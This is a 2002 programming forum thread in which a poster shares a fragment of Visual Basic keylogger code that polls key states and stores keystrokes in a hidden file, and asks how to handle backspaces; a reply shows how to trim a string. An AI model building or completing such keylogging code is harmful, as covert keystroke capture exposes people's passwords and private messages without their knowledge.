|
-
Oct 26th, 2002, 01:06 PM
#1
Thread Starter
Lively Member
Help on keylogger...
Hey! I am making a keylogger: All the buttons the user press, is stored in a hidden dll:
____________________________________________________
Private Sub tmrLOG_Timer()
On Error Resume Next
Dim nKey, nChar As Integer
Dim nText As String
For nChar = 1 To 255
nKey = GetAsyncKeyState(nChar)
If nKey = -32767 Then
nText = Chr(nChar)
If nChar = VK_ESCAPE Then
nText = " {ESC} "
ElseIf nChar = VK_SPACE Then
nText = " "
ElseIf nChar = VK_BACK Then
nText =" {B.S} "
____________________________________________________
...and the list of keys goes on. What I want to do here is that instead of a file which looks like this:
"Hittin {B.S} g the wr{B.S} ong button hap{B.S} pens too often"
...I want it like this:
"Hitting the wrong button happens too often"
-So how do I make the program remove the key which was pressed by mistake, instead of putting {B.S} over it?
-Any suggestions?
-
Oct 26th, 2002, 01:17 PM
#2
The picture isn't missing
well you sentence example, if you replace BS with an actual backspace, will look wrong, but to remove the last char in a string:
thestring = "Hello one to three"
thestring = left(thestring,len(thestring)-1)
msgbox thestring
Remember, if someone's post was not helpful, you can always rate their post negatively  .
-
Oct 26th, 2002, 01:20 PM
#3
Thread Starter
Lively Member
-Okay, I get it! Thank you!
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|